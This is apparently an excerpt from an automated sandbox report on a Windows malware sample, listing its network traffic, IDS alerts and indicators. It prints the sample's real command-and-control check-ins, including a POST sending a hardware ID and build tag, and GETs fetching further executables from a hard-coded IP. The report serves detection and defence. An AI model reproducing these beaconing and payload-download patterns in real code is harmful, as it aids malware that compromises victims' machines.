00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 d0 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:48:01 GMTContent-Type: application/octet-streamContent-Length: 1887232Last-Modified: Mon, 21 Oct 2024 08:30:09 GMTConnection: keep-aliveETag: "67161111-1ccc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 75 6e 74 70 7a 72 6f 00 70 1a 00 00 b0 50 00 00 6a 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 66 72 6f 65 62 6a 65 00 10 00 00 00 20 6b 00 00 04 00 00 00 a6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6b 00 00 22 00 00 00 aa 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDHIDBFBFHIJKFHCGIEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="hwid"900EDE3679012263180025------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="build"doma------JJDHIDBFBFHIJKFHCGIE--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 38 37 36 42 36 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52876B65182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 38 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000489001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000490001&unit=246122658369
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMTIf-None-Match: "6716110b-2d3c00"
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="hwid"900EDE3679012263180025------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="build"doma------HCFIIIJJKJKFHIDGDBAK--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000491001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMTIf-None-Match: "67161111-1ccc00"
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000492001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMTIf-None-Match: "6716110b-2d3c00"
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="hwid"900EDE3679012263180025------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="build"doma------JEHIJJKEGHJJKECBKECF--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000493001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMTIf-None-Match: "67161111-1ccc00"
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000494001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMTIf-None-Match: "6716110b-2d3c00"
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000495001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIEGHJEGHJKFIEBFHJKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="hwid"900EDE3679012263180025------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="build"doma------CGIEGHJEGHJKFIEBFHJK--
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMTIf-None-Match: "67161111-1ccc00"
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000496001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 38 37 36 42 36 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52876B65182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFCAKEHDHDHIDHDGDHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 2d 2d 0d 0a Data Ascii: ------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="hwid"900EDE3679012263180025------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="build"doma------CBAFCAKEHDHDHIDHDGDH--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 38 37 36 42 36 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52876B65182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View IP Address: 185.215.113.37 185.215.113.37
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49855 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49914 -> 185.215.113.16:80
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0022CE44 InternetReadFile,SetEvent,GetLastError,SetEvent, 6_2_0022CE44
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
